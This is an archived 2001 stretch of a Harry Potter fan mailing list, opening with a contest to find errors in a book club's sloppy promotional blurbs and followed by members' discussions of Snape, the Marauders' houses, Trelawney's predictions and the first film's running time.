If you are on webview, you have undoubtedly seen the ads for the 
Literary Guild, one of those book clubs which offers you a 
introductory bunch of books for less than a dollar each (plus 
undisclosed shipping and handling fees which in my experience turn 
out to be exorbitant) and then sends you a crummy, overpriced 
bestseller each month for years.  They are offering all four HP books 
as part of their introductory promotion, and their website has an 
impressively bad description of each.  Apparently, the Literary Guild 
is not profitable enough to pay real editors or proofreaders, so the 
CEO's illiterate nephew is writing their promotional materials.  As a 
result, their descriptions of each book are a nitpicker's paradise.  
(Although they are not quite as poorly written as the HP character 
descriptions on the Warner Brothers website, which I can't even bring 
myself to finish reading.)

Hence, this week's contest, which was suggested by alert nitpicker 
Julia (jstein103 at aol.com).   How many mistakes can you find in the 
Literary Guild's book descriptions?  Any kind of error is fair game ? 
spelling, punctuation, grammar, writing style, or factual.  Unless 
the error is painfully obvious, please explain why you think it is 
wrong.  All contestants finding more than 25 acceptable errors 
receive automatic L.O.O.N. membership (except for David Frankis).  
Email your response (or any questions) to me at HP4GUCon at aol.com, and 
then email it again if you don't receive an acknowledgment that I've 
received it.

Here are the Literary Guild's descriptions of the four books:

HARRY POTTER AND THE GOBLET OF FIRE
Headline: Harry Potter is back! The wildly popular phenomenon 
continues The excitement and anticipation for the next Harry Potter 
adventure is growing in leaps and bounds. What wild and wonderful 
escapades await the little wizard? The fourth in the phenomenally 
popular Harry Potter series begins with the young wizard turning 14, 
but rumor has it that one of his friends may not make it through to 
see his birthday celebration. You'll have to read to find out the 
juicy details!

HARRY POTTER AND THE PRISONER OF AZKABAN
Harry Potter returns with his friends for their third year at 
Hogwarts School of Witchcraft and Wizardry. And boy, are their hands 
full! As with all third years of study, there is much more work to do 
and the pressure is on. As if that wasn't bad enough, Harry finds out 
that an evil wizard has escaped from Azkaban prison and is after him! 
Combine that with having to live with his horrid aunt, uncle and 
annoying cousin Dudly and it's enough to make the head on Harry's 
flying broom spin. Can Harry outsmart the evil wizard and save his 
friend's beloved pet from a death sentence?

HARRY POTTER AND THE CHAMBER OF SECRETS
There has never been, in the history of U.S. publishing, a children's 
book phenomena like J.K. Rowling's Harry Potter and the Sorcerer's 
Stone. Her debut novel has already spent six months on The New York 
Times bestseller list! With new torments and horrors and a little 
magic "floor" powder, Harry and his chums return once again, casting 
a spell ovr children and adults alike.
Harry's about to start his second year at Hogwarts School of 
Witchcraft ad Wizardry. But from day one, it seems he's going to have 
his hands full. There's a stuck-up new professor, Gilderoy Lockheart; 
a more determined Draco Malfoy; a spirit named Morning Myrtle who 
haunts the girls' bathroom, and the unwanted attentions of Ron 
Weasley's younger sister, Giny. But that's nothing--the real problem 
arises when Hogwart students begin turning into stone! Who could be 
so evil? May it's Hagrid the Gamekeeper? Or maybe even Harry himself?

J.K. Rowling has become as famous for her monsters and wizards as she 
has for the way her first novel, Harry Potter and the Sorcerer's 
Stone, was conceived. Scribbling on scraps of paper, Towling wrote 
most of the manuscript sitting in a cafe while her infant daughter 
napped beside her!
The magic is back!

HARRY POTTER AND THE SORCERER'S STONE
Remember that magical feeling you got the first time you read Roald 
Dahl's Charlie and the Chocolate Factory? I never expected to feel 
that way about a book again--until I 'met' 11-year-old orphan, Harry 
Potter. Originally, I brought the book home for my finicky 10-year-
old nephew, David. But it wasn't long before I found myself sneaking 
off to read it myself. J.K. Rowling swept me away to a mystical world 
of powerful wizards, deadly plants, potent potions, gentle giants and 
beautiful unicorns.

Already a huge hit overseas, Harry is poised to take America by 
storm. Here's your chance to say that you and your family read Harry 
Potter and the Sorcerer's Stone before it became a classic. Harry's 
is an adventure that is not to be missed!




From foxmoth at qnet.com  Wed Sep  5 23:13:39 2001
From: foxmoth at qnet.com (foxmoth at qnet.com)
Date: Wed, 05 Sep 2001 23:13:39 -0000
Subject: Right, Wrong & Unicorns
In-Reply-To: <9n5lgq+c2vk@eGroups.com>
Message-ID: <9n6bj3+shij@eGroups.com>

No: HPFGUIDX 25634

--- In HPforGrownups at y..., fourfuries at a... wrote:
> 
> Still on topic, the unicorns are seen as absolutely good (whether in 
> the Platonic sense or not, I do not know), and even the centaurs, who 
> read stars as a guide to destinies, are moved to disgust (and one to 
> action) by the destruction of a unicorn.
> 
> In the Potterverse, I say, there is absolute right and wrong, and 
> fate is determined by an unseen hand.

	The unicorns are not *good*; they are pure and defenceless. I 
think JKR is saying, and Dumbledore believes,  that goodness stems from 
love, not the other way around. Voldemort is not what we would be if we 
didn't have any moral code, he is what we would be if we had no 
capacity to love.
	What JKR wants to show us is that an absolute standard of good and 
evil does us no good if we apply that standard selectively. It's not 
that Draco lacks proper standards of right and wrong, it's that he 
doesn't see any reason to apply those standards to Muggles and Muggle-
borns.
	
Pippin





From jferer at yahoo.com  Thu Sep  6 02:15:15 2001
From: jferer at yahoo.com (Jim Ferer)
Date: Thu, 06 Sep 2001 02:15:15 -0000
Subject: What is the single best scene in the HP series?
In-Reply-To: <9n64p3+oliu@eGroups.com>
Message-ID: <9n6m7j+f6vo@eGroups.com>

No: HPFGUIDX 25635

Laura:"I was wondering which single scene out of the Harry Potter 
series you think is the best?"..."The scene I found most intense and 
most moving is the Shrieking Shack scene in PoA, beginning from the 
point at which Harry enters the Shrieking Shack to the point when they 
emerge from the Whomping Willow.  The pacing is really fast, the story 
unwinds and is explained in a very believable way, the very best 
characters in the series (IMHO) are present (H, H, R, Lupin, Sirius, 
Snape), the Scabbers plot twist is brilliant, and the relationship 
that develops between Sirius and Harry in this one scene is very 
moving."

That's a reasonable candidate for those you'd like to introduce to 
Harry Potter; to me the other obvious one is the graveyard scene in 
GoF.  But to me, as a confirmed fan, I'm particularly stirred by the 
scene in the hospital wing in GoF, when Dumbledore calls the forces of 
good together, sends his followers out to begin the fight, and 
uncloaks himself as the leader of the Foes of Voldemort. It was at 
this moment Dumbledore seemed most like Gandalf to me. I can't wait 
for the first gathering of "the old crowd."

Here's another one from PoA: the scene, shortly after the Shack 
sequence, when Harry casts a powerful Patronus and saves Sirius from 
the dementors. It was the strongest echo yet of Harry's father and of 
his heritage. Harry is coming into his own power.

Ah, heck. There's too many to pick just one.






From prefectmarcus at yahoo.com  Thu Sep  6 03:13:34 2001
From: prefectmarcus at yahoo.com (prefectmarcus at yahoo.com)
Date: Thu, 06 Sep 2001 03:13:34 -0000
Subject: Running time of movie final cut announced
Message-ID: <9n6pku+6r5m@eGroups.com>

No: HPFGUIDX 25636

This just in.  It would appear that WB is not going to mess around 
with their potential gold-mine.  All the rumors have been that the 
cut is long.  Apparently the time has been set at 142 minutes, nearly 
two and a half hours!

http://www.darkhorizons.com/news.htm

"Harry Potter and The Sorcerer's Stone: The upcoming film version of 
the JK Rowling book has already broken a record it seems. Most kid-
aimed films run about 90 minutes in length, the longest so far were 
the '98 remake of "The Parent Trap" and the classic "Mary Poppins" at 
127 minutes and 139 minutes respectively. Word comes in now the final 
cut of the kids fantasy epic will clock in at around 142 minutes - 
almost two and a half hours long. "

Also, the October issue of "Vanity Fair" going on sale this week has 
a Harry Potter cover story with 22 pages of pictures.  Looking good!

Marcus





From wallaceelizabeth at msn.com  Thu Sep  6 03:18:03 2001
From: wallaceelizabeth at msn.com (wallaceelizabeth at msn.com)
Date: Thu, 06 Sep 2001 03:18:03 -0000
Subject: H/R&H as future animagus
Message-ID: <9n6ptb+12vq@eGroups.com>

No: HPFGUIDX 25637

If you haven't figured it out, I'm a newbie.  I've tried searching, 
without success, the postings & VFAQ to see what has been discussed 
on the trio becoming animagus, and what they would transfigure into.  
Point me to the messages if this is a repeat topic.  My thoughts are 
they undoubtedly will cross this bridge-- if simply because of 
MPP&W.  When?  Well it took MPP&W over three years, so you'd think 
they'd be starting soon.  Of course, Sirius could speed up the 
process.  Certainly it'd be fun to have more than one volume with the 
trio escapading as animagus.  I think Hermione would transform into 
some type of feline--she has an affinity with cats, she is remarkably 
like McGonogol who transfigures to a tabby, and she demonstrates the 
intelligence and cunning of a cat.  Harry would be a stag like James 
(wasn't Prongs a stag) and his petronus.  What would Ron be?   Has 
anyone wondered that Dumbledore, as former Transfiguration teacher, 
would also be an animagus-- could he transfigure into a phoenix.  I 
wondered with his comment about also being available to those who ask 
for it in CoS.




From degroote at altavista.com  Thu Sep  6 03:37:57 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 5 Sep 2001 20:37:57 -0700
Subject: [HPforGrownups] Kids' books - OoP timing - Draco - PoA -
    Lockhart - PDWDWTSAFAB
Message-ID: <20010906033757.14464.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25638

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From degroote at altavista.com  Thu Sep  6 03:50:55 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 5 Sep 2001 20:50:55 -0700
Subject: [HPforGrownups] Re: Refreshing innocence
Message-ID: <20010906035055.25742.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25639

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From degroote at altavista.com  Thu Sep  6 04:17:49 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 5 Sep 2001 21:17:49 -0700
Subject: [HPforGrownups] Arithmancy/OotP/Evil Draco
Message-ID: <20010906041749.11063.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25640

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From degroote at altavista.com  Thu Sep  6 04:48:19 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 5 Sep 2001 21:48:19 -0700
Subject: [HPforGrownups] Running time of movie final cut announced
Message-ID: <20010906044819.3731.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25641

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From degroote at altavista.com  Thu Sep  6 04:44:37 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 5 Sep 2001 21:44:37 -0700
Subject: [HPforGrownups] H/R&H as future animagus
Message-ID: <20010906044437.18130.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25642

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From degroote at altavista.com  Thu Sep  6 05:14:29 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 5 Sep 2001 22:14:29 -0700
Subject: [HPforGrownups] Fifth Book
Message-ID: <20010906051429.11086.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25643

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From Allyse at my-deja.com  Thu Sep  6 05:25:55 2001
From: Allyse at my-deja.com (Allyse at my-deja.com)
Date: Thu, 06 Sep 2001 05:25:55 -0000
Subject: Snape -- Why so many fans?
In-Reply-To: <9n5o4a+n3sr@eGroups.com>
Message-ID: <9n71d3+ed9o@eGroups.com>

No: HPFGUIDX 25644

Y'know, I've always been amused by the tendency of readers to condemn 
the traits of those characters they don't like while defending those 
selfsame traits in the characters they admire. We all do it. Even 
me. :)


Lilith Morgana*" <lilith_snape at h...> wrote: 

> So, why do I love Snape?
> 
> In my case it's because he's not like Lupin or Black! 

<snip>

> I don't 
> even need canon proof to know that James, Sirius, Remus and Peter 
> were allowed to make fun of others, and get credit for it- not out 
of 
> pure evilness, but because they could. Everybody would still love 
> them, they were the Golden Boys. If I were in school with this 
gang, 
> I wouldn't only have hated Black and Potter, I would also most 
likely 
> have been bullied by them.  
> 

<snip>

> Last, but not least, Severus is damn funny! Come on, admit that you 
> would have laughed as much as the Slytherins when he read the Harry-
> article aloud in front of the class in GoF if we weren't supposed 
to 
> feel sorry for Potter? I cannot have been the only one who found 
his 
> remark "dear, dear, Potter, what's ailing you now?" funny! If we 
> forget about his victims, Severus is actually entertaining in every 
> detail- even the "I see no difference" comment is a delight said to 
> another person. 

Lilith Morgana, do you realize how you've contradicted yourself here? 
You assert that MWPP were Golden Boys who could get away with 
atrocious behavior (with no actual proof, and an awful lot of 
assumptions), and this is why They Were Bad. And Snape can get away 
with atrocious behavior, and this is why He Is Good.

Personally, I am appalled that anyone can consider the "I see no 
difference" to be a delight, or find it funny to watch a teacher 
deliberately humiliating a student in front of others, as Snape does 
with Harry with the newspaper article. Snape is cruel, vindictive, 
and cowardly in attacking those with no way to defend themselves. 
*No* one, not even the most rabid Snape-hater, will deny that Snape 
is probably the most multi-facted character in the Potterverse. I 
agree that there's a lot of backstory there, and I am interested in 
discovering what Jo will do with him. But to like him? To admire him 
for his callousness and bullying? Nope, not me.

On a tangent, since many of you mentioned R.J. Anderson's fics, I 
will also add my recommendation for them. I know it sounds strange 
coming from a non-Snape fan, but they're great! If nothing else, she 
writes the *best* George Weasley I have ever seen. :)

Allyse




From degroote at altavista.com  Thu Sep  6 05:54:15 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 5 Sep 2001 22:54:15 -0700
Subject: [HPforGrownups] PDW"DO"WTSAFAB (was Re: PDWDWTSAFAB)
Message-ID: <20010906055415.20201.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25645

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From degroote at altavista.com  Thu Sep  6 06:13:02 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 5 Sep 2001 23:13:02 -0700
Subject: [HPforGrownups] Re: PDWDWTSAFAB
Message-ID: <20010906061302.21147.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25646

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From catlady at wicca.net  Thu Sep  6 07:00:44 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Thu, 06 Sep 2001 07:00:44 -0000
Subject: Combined Posts - Harry Grew Up Good - 3 Death Eaters - Future Animagi-Cheetachat
Message-ID: <9n76us+omm4@eGroups.com>

No: HPFGUIDX 25647

Cindy wrote:

> How does one go about combining posts?  As I type this right now on 
> the message board, I only have the text of this one post to edit
> and to respond to. 

As Neil mentioned, I read the list on webview. I open a Notepad 
window and note down the message numbers of the messages that I think 
I might want to reply to / comment on. When I've read all the posts, 
I either open a second Browser window in order to click "Post" or I 
go into my e-mail client and start a new e-mail addressed to the 
group.

I use the first Browser window to go directly to each post whose 
number I saved. I highlight the part I want to quote, ctrl-C to copy, 
go to where I'm composing the letter (Notepad is safer if your 
Browser/e mail pgm has a habit of crashing at random intervals, with 
MS's lovely Illegal Act message) and ctrl-V to paste it into the new 
post. I put in the '>'s with Insert.

Rose wrote:

> It truly amazes me also that Harry has grown up to be such a 
> wonderful young man with so much concern for other people after a 
> lifetime of "abuse" from the Dursleys. 

My theory is that his mother, Lily, who not only loved him enough 
to die for him, but also was a very powerful witch, magically left 
an image of herself in his mind -- he might have perceived this 
image like an imaginary friend, except it was an imaginary mother -- 
and this image would comfort him when he was miserable ("Let mum kiss 
it and make it better -- you're a good kid, Harry, don't believe 
those silly people who say otherwise") and give him advice as well as 
an example of being nice to people.

scareyfairymary wrote:

> My take on it was that the one too cowardly to return was 
> Karkaroff, one who has left forever was Snape and one doing Dark 
> Lord's work was Crouch jnr. Although it was only on the second 
> reading 

Yes, that's what I though on the second reading, too, and I have the 
same concerns that people have mentioned about Dumbledore announced 
in open court that Snape had been a spy against the Dark Lord, so 
everyone would know it including Lucius Malfoy and Voldemort, so 
1) it would be suicidal for him to try to be a spy again, and 
2) why does Lucius let Draco like Snape? 

My fanfic requires that the Malfoys thought Snape was only pretending 
to have gone to the good side, and Snape thought that Lucius had 
sincerely gone to the good side & that is why he was so shocked that 
Lucius was at the Death Eater meeting. 

Some people have posted reasons why Voldemort could have meant that 
Snape was the coward and Karkaroff was the one who had left forever, 
and therefore Snape could come back with a good excuse for missing 
the meeting and be accepted back after non-fatal punishment.

But on the first reading, when I didn't know yet about Crouch Jr, I 
thought that Karkaroff, Bagman, and Snape were the three Death Eaters 
and I *thought* Snape was the one who had left forever but I was 
*terrified* that he was doing the Dark Lord's work at Hogwarts.  

wallaceelizabeth wrote:

> what has been discussed on the trio becoming animagus, and what
> they would transfigure into.  (snip)
> Has anyone wondered that Dumbledore, as former Transfiguration 
> teacher, would also be an animagus-- could he transfigure into a 
> phoenix. 

In one of her on-line chats, someone asked JKR if Harry would become 
an Animagus like his father and she said he will not. I was 
disappointed to see that, I want them to become Animagi.

Altho' I think Harry isn't show-offy enough to become a stag (or a 
lion, or a golden griffin). I think Harry would actually be a better 
cat than Hermione: curious but good at being invisible. Then I 
thought Hermione might be a raven, an extremely intelligent bird 
with a reputation for scholarship. Then I thought Harry might be a 
better raven than Hermione: flight and black hair.   

Supposedly 'dumbledore' is an old word for 'bumblebee' (altho' the 
dictionary I checked said it was a 'cockchafer', which I looked up in 
turn and was told it was an ephemeral June beetle) so the early 
speculation was that he was a bumblebee Animagus. The phoenix 
Animagus theory came later.

Deeblite wrote:

> it's a heck of a lot easier than this Cheetah Chat seems to be.

But Cheetah Chat lets us use fancy colors and color blends, and fancy 
fonts, and typewriter character piccies, and little jpeg piccies 
beside our names....







From degroote at altavista.com  Thu Sep  6 07:41:02 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 6 Sep 2001 00:41:02 -0700
Subject: [HPforGrownups] Re: Muggle Parents
Message-ID: <20010906074102.12402.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25648

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From aiz24 at hotmail.com  Thu Sep  6 09:07:01 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Thu, 06 Sep 2001 09:07:01 -0000
Subject: TR -  DADA - Lost character - Trelawney - Bagman - CRAB - The in crowd
Message-ID: <9n7ebl+93hg@eGroups.com>

No: HPFGUIDX 25649

Hi all.  I'm catching up on a pile o' digests, or rather, failing to 
catch up on them.  I've tried to make sure that I'm not repeating what 
someone who's been around for the past few days has said, but some 
might be hiding in unlikely subject headings.

Mindy asked:

> Tom Riddle is just a memory, a phantom. I mean, what would have 
happened had he managed to
> kill Ginny and Harry? Would the 50-year-younger Tom Riddle have 
morphed
> then into Voldemort? Or would he have clambered up the pipe and 
resumed
> the old Tom Riddle form?

No, I don't think so.  He made the diary so that he could have a 
second shot at opening the Chamber, and he got it.  Then he learned 
from Ginny about what had happened in the intervening years, namely 
his defeat when he tried to kill baby Harry, so he switched gears and 
tried to kill Harry.  Bad move.  As for what he would have done had 
his diary-self succeeded in killing Harry, who knows?  But the diary 
TR is just that; he might hold on to an existence outside the diary, 
but there's no indication that he would morph into his 50-years-later 
real self.  

Fourfuries wrote:

>What good is DADA instruction if you can't recognize a Dark Wizard 
when you see one?

Dark Wizard Recognition would certainly seem to be something no DADA 
professor can teach.  Dumbledore is no slouch at Dark Wizard fighting, 
and he didn't spot Crouch; the real Moody considers Snape a Dark 
Wizard even though he isn't one (I'm assuming we're right in thinking 
he's not).  And then there were all those people who claimed to be 
under Imperius who were in fact loyal and willing DEs, like L. Malfoy.

Dark Mark or no Dark Mark, it seems that there is no easy 1-2-3 test 
that reveals someone's true feelings in the magical world any more 
than there is in the Muggle.  Short of Veritaserum (and I'm sure JKR 
could supply a reason why it isn't used at every single trial), the 
only other way to tell is via plain old human discernment.

Becky wrote:

> JKR said that she killed off the Weasley cousin and then developed
 the Rita Skeeter character more.  She said that she needed someone to
 act as a conduit for information to leave Hogwarts.  Why?  This is
 how parents find out that Hagrid is part giant.  Molly finds out that
 Hermione is breaking Harry's heart (suppossedly) and Molly finds out
 that Harry is competing.  Why were these things important enough that
 they had to be conveyed or am I missing something?

Aha--this is one of my favorite red flags.  What *was* so important 
that she had to rewrite huge chunks of the book to make sure there was 
a conduit to the outside world?  Which of Rita's exposes will prove to 
be really important?

I'm betting it's Harry's supposed insanity/untrustworthiness.  We've 
already seen Fudge, who was quite a Harry fan up to the end of PoA, be 
swayed by Rita's final article.  What might happen if lots of people 
in the wizarding world start thinking Harry Potter has a screw loose 
or is evil (a Parseltongue, you know), just when people need to unite 
to fight V?

Or maybe it will prove to be nothing at all and JKR just didn't want 
to sacrifice things like the social tension and Hagrid's exposure.  
But like you, I'm thinking there's something more important than that 
going on.

Cindy wrote re: Trelawney's predictions:

> Lavendar's rabbit -- True

This one really is not true.  Hermione is insensitive but correct:  
Lavender wasn't dreading this.  It's a classic case of making a 
prediction so vague that someone inclined to believe in this kind of 
thing will find something that fits the bill.  I've never had an 
October in which *something* unpleasant didn't happen to me.

By the same token, "the thing you are dreading will indeed come to 
pass" is like saying "you will have a change of luck regarding money." 
 It is bound to come true if you just wait a couple of weeks.  
However, it's fair enough to include it in a list of predictions.  
Maybe we should rate them by difficulty?  Voldemort will return and 
his servant will join him gets her major points because it not only 
comes true, but is very specific.

> The Grim, tea leaves -- True
> The Grim, crystal ball -- True

I'll give her a 50% on this one.  Harry hasn't been seeing a Grim.  
Luke is right, we don't know the rules of tea leaves, but what we do 
know about them indicates that they are symbolic.  Shouldn't a true 
tea leaves reading turn up symbols of danger (because of Peter--and 
the Grim doesn't count, because it is specifically a death omen) and 
protection (because of Sirius)?

> Hermione will leave class -- True

This prediction was more specific than most, but she can't take credit 
for predicting *Hermione's* departure.  She just said someone would 
leave.  

Speaking of predictions, great spotting of a possible red flag!:

> Finally, Harry had a dream (beginning of Ch. 9) in which Bagman 
> appears and delivers the following line:  "I give you . . .
> Potter!" 

Lisa, sign me up for C.R.A.B.  I totally agree that Ron's supposed 
susceptibility to Imperius has been way overplayed . . . not that it 
might not be a red flag.  But I am going to nitpick just a bit, 
because C.R.A.B. isn't the only organization I belong to <eg>.  Ron 
isn't limping because he's bruised; he is skipping on every other step 
because he hasn't shaken off Moody's command.  I think you may be 
thinking of Harry's bruised knees.

Lilith wrote:

> We know James and Sirius always hanged out together, and I get 
> the feeling they were the kind of kids who could get away with 
pretty 
> much everything because they're charming, witty and good-looking. 

Ah, this is why I am always pointing out that of the four, only Sirius 
is ever described as handsome.  If they were indeed so popular--and we 
don't know that they were, only that Snape perceived James that 
way--looks are not given as a reason why.  We know that James was an 
excellent Quidditch player adn that his team won the Cup at least 
once; we know that he and Sirius were troublemakers, and the way 
Rosmerta and co. remember them (and the comparison to F&G) suggests 
that they were pretty funny.  But the other thing we know about them 
for sure is that they were brilliant students--not what usually makes 
students popular among their peers.  Having been one of the "smart 
kids" distinctly on the outs with the in crowd, I prefer to think that 
MWPP weren't your stereotypical popular kids.  (Yes, I read HP to heal 
my psychological wounds.  Don't you? <g>)

One stereotype left over from high school that I have to surrender in 
the face of HP is Jocks are Scary Bad People.  Harry, sweet Harry, is 
undeniably a jock.

Amy Z
doing very well with her therapy, thank you

--------------------------------------------------------------------
   "I've got two Neptunes here," said Harry after a while, frowning 
 down at his piece of parchment, "that can't be right, can it?"
   "Aaaaah," said Ron, imitating Professor Trelawney's mystical
 whisper, "when two Neptunes appear in the sky, it is a sure sign
 that a midget in glasses is being born, Harry. . . ."
                                      -HP and the Goblet of Fire 
--------------------------------------------------------------------




From A.E.B.Bevan at open.ac.uk  Thu Sep  6 11:02:18 2001
From: A.E.B.Bevan at open.ac.uk (A.E.B.Bevan at open.ac.uk)
Date: Thu, 06 Sep 2001 11:02:18 -0000
Subject: Combined Posts 
In-Reply-To: <9n76us+omm4@eGroups.com>
Message-ID: <9n7l3q+p5vq@eGroups.com>

No: HPFGUIDX 25650

Actually I find it an useful discipline to keep each message to a 
particular topic and not post replies to everything that I have 
thoughts about. I am sure other list members find the same discipline 
useful (otherise we would have even more messages than we do). 

The key for me is whether there is some unifying thread justifying 
the material being in the same post even if it refers to many other 
posts. 

Clearing out some files came across this listing for people setting 
out to use online learning resources. A mix of slightly humorous, 
some serious and not necessarily inconsitent thoughts. For what its 
worth... and some thoughts may actually be relevant to the action in 
the Potterverse...

Edis

"If you can't annoy somebody  there's little point in writing."
Kingsley Amis

"All the experience of history confirms that sharing the same beliefs 
has been a preliminary to quarrelling about their interpretation."
Theodore Zeldin

"Those who will not reason, are bigots, those who cannot, are fools, 
and those who dare not, are slaves."
George Gordon Noel, Lord Byron

"The greatest obstacle to discovery is not ignorance -- it is the 
illusion of knowledge."
Daniel Boorstin

"Blessed is the man who, having nothing to say, abstains from giving 
us worthy evidence of the fact."
George Eliot

"When ideas fail, words come in very handy."
Goethe

"Those who know don't tell. Those who tell don't know."
Proverb

"The Unexamined life is no life for mankind."
Plato




From mediaphen at hotmail.com  Thu Sep  6 11:57:01 2001
From: mediaphen at hotmail.com (Martin Smith)
Date: Thu, 6 Sep 2001 13:57:01 +0200
Subject: Marauders: Board of Coolest Cats in each House or Gryffian mob?  -- Rita the beetle
References: <999763997.2674.45758.l10@yahoogroups.com>
Message-ID: <DAV52BDUfdfdhNzW3l100002b1c@hotmail.com>

No: HPFGUIDX 25651

I wonder if the Marauders were in fact representatives of the four houses?
It would most certainly help their mischief-making if they had knowledge of all areas of the castle, even every single house's common room, and that would also help them making the MM. Having an ally in each house would make them stronger as a group. Back then, before V's RoT, the social activities of Hogwarts might have been a lot more interhousal than nowadays. So, can we see any evidence and/or hints what house each Marauder would belong to if they weren't all Gryffs (as universally presumed)? Let's see (most of this is my own speculations):

James:
Well, we know from canon that James was in Gryffindor, so there's no doubt there.

Sirius:
Hagrid's statement that every wizard turned bad was Slytherin and the fact that Hagrid, at that time, was convinced that Sirius was one of the worst, only makes sense if Sirius was in Slytherin.
Furthermore, to successfully survive _and_ escape from Azkaban, you certainly need a lot of ambition and desire to really want it. Yes, you could use brains, hard work and bravery to avoid twelve years worth of mindsucking Dems, but what you really need is strong will-power, which, IMO is deeply linked to ambition.
Furtherfurthermore, the feud between Snape and Black could be the result of jealousy on Snape's behalf that Black, not Snape, was chosen as the Slytherin representative in the Marauder Quartet. Hence Sirius Slytherin.

Pettigrew:
I wouldn't call PP brave (hiding behind the biggest bully in the playground as he normally does), neither loyal (switching sides like a tennis-ball in action) nor hard-working (he was described as a below-average student). This would put him on low priority on the Gryff and Huff lists.
He certainly doesn't aim for the number one spot, he merely wants to reach a kind of status quo, so, IMO, his ambition level is too low to satisfy Salazar Slytherin (I, too, love alliteration:-)).
Is he smart? I would have to say, yes, he is. Very much so. His plot to frame Black, team up with Voldie (the present Big Kahuna) and see to it that the Potters were killed, gets the result of him being remembered as a true hero for the Good side (was it Order of Merlin, First Class he recieved postum?). That is ingenious! Selfish, evil and wicked, yes, but still ingenious. So therefore, IMHO, PP was in Ravenclaw (don't get me wrong, you Ravs out there, I have nothing against that house; I'm a Rav myself).

Lupin:
If my analysis is correct, our favourite wolfman was in Hufflepuff. As I see it, he has all it takes to be a Rav (he has shown on DADA lessons and such that he is bright) or a Gryff (needless to say, it takes a lot of bravery to tell your not-yet-extremely-close friends that you're a manmunching manwolf (alliteration again!)). But he also has what it takes to be a Huff: He, like the rest of the wizarding world, thought that Black was a hardened criminal who'd killed his best friends, but he always had a place in his heart where he believed Black to be innocent, and after one word from Sirius in the Shrieking Shack, Lupin took Black back to his heart and redeemed their friendship. That qualifies as loyalty in my book.
Lupin is also, IMO, hard-working. Fighting against werewolf trademarks such as eating your fellow men takes a lot of struggling, with or without wolfsbane potion. Plus, even though he apparently can't keep a job, due to his lycanthropy, he seems to get along financially (just head above water, though). What he does is probably travelling around, looking for hard labour every so often he can get it, and working his three-weeks-a-month-tail-less bodypart off a few days before his employers find out. Then back to job-hunting, and believe you me, it is much more work constantly looking for job, than to have a regular one. I've been there. Hardworking Hufflepuff, him.



In conclusion: I believe it possible that the Marauders were a group of one representative from each house, containing James Potter of Gryffindor, Peter Pettigrew of Ravenclaw, Sirius Black of Slytherin and Remus Lupin of Hufflepuff.

If, however, there is evidence in canon that two or more of the Marauders were in Gryffindor, I will stand corrected. If so, please enlighten me!




As for Rita Skeeter's Animagus form being a beetle and not a mosquito (I tried to post this a few days ago, but it seems to have got lost, so here it is again):

<silly explanation, coming through...>

The most famous Rita is (or at least the first Rita I can come to think of, except our own Catlady, of course) the meter maid in the song "Lovely Rita" by:

The Beatles!

There you go, that must be it! I rest my case. At least until someone finds an almost as obvious as abovementioned connection between Rita Skeeter (gossip reporter and verbal paparazzi) and constant cartoon private Beetle Bailey. (i told you twas silly)



Martin, still awaiting the Simpsons take on HP in next season's Halloween special






From dfrankiswork at netscape.net  Thu Sep  6 13:00:16 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Thu, 06 Sep 2001 09:00:16 -0400
Subject: Cheetah Chat; combining posts
Message-ID: <1CAFE15E.6FCCD2F0.6E93A4F5@netscape.net>

No: HPFGUIDX 25652

Catlady Rita wrote:
>Deeblite wrote:
>
>> it's a heck of a lot easier than this Cheetah Chat seems to be.
>
>But Cheetah Chat lets us use fancy colors and color blends, and fancy
>fonts, and typewriter character piccies, and little jpeg piccies
>beside our names....
>
Well, yes, I was one of those who had difficulty on Sunday and have now downloaded and installed Cheetah (probably in violation of no end of company rules) and await Sunday with trepidation (it's necessary for my sanity to believe that there are no other chat rooms worth trying in the meantime).  But it was nice in the past just to click on the word Chat and instantly be transported without fuss to the chat room.  To me the point is what the words are, not what colour they are.  So is it the intention to reset the url or whatever on the main page so that whatever we do we all end up in the same place?

Just a techie point that caught me out on post combination:  if you do the cut-and-paste thing in MS Word rather than Notepad, the smart quotes may come out as something diabolical like #8517 by the time they become plaintext.  You can disable them in Word.

I think the combination thing is a bit overblown - we have three types of people: newbies who have lots of things stacked up that they want to say and will do it their own way whatever; oldies who are now so punch drunk that we can only think of about one thing in a day; and Amy, Rita, and Tabouli, who know how to combine posts anyway.

David, wondering if he has anything sensible to say about Harry Potter


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From cynthiaanncoe at home.com  Thu Sep  6 13:11:17 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Thu, 06 Sep 2001 13:11:17 -0000
Subject: Snape -- Why so many fans?/double agent/Sirius/POV
In-Reply-To: <9n3mpv+p484@eGroups.com>
Message-ID: <9n7sll+180t@eGroups.com>

No: HPFGUIDX 25653

--- In HPforGrownups at y..., justanopinion2001 at h... wrote:
> 
> My recollections of Snape are pretty negative.

<snip>

I, too, have a great deal of difficulty with Snape, for the reasons 
you mention.  And I'm still not 100% sure he is working for our 
side.  He's multi-faceted, which makes him interesting, but 
interesting and appealing aren't always the same thing.  But I'll 
reserve judgment until OoP, when we'll really get the answers, I hope.

I think a few people mentioned that Snape can't go back to V as a spy 
because of what Dumbledore said in the Pensieve scene.  I'm not sure 
I agree.  Snape has convinced D that he is working for him against V, 
and probably has also convinced V that he is working for him against 
D.  So if Snape tells V he missed the meeting because leaving 
Hogwarts would have attracted too much suspicion, he'll be welcomed 
back to the DEs with open arms.  He probably won't even get tortured 
if he plays his cards right.  

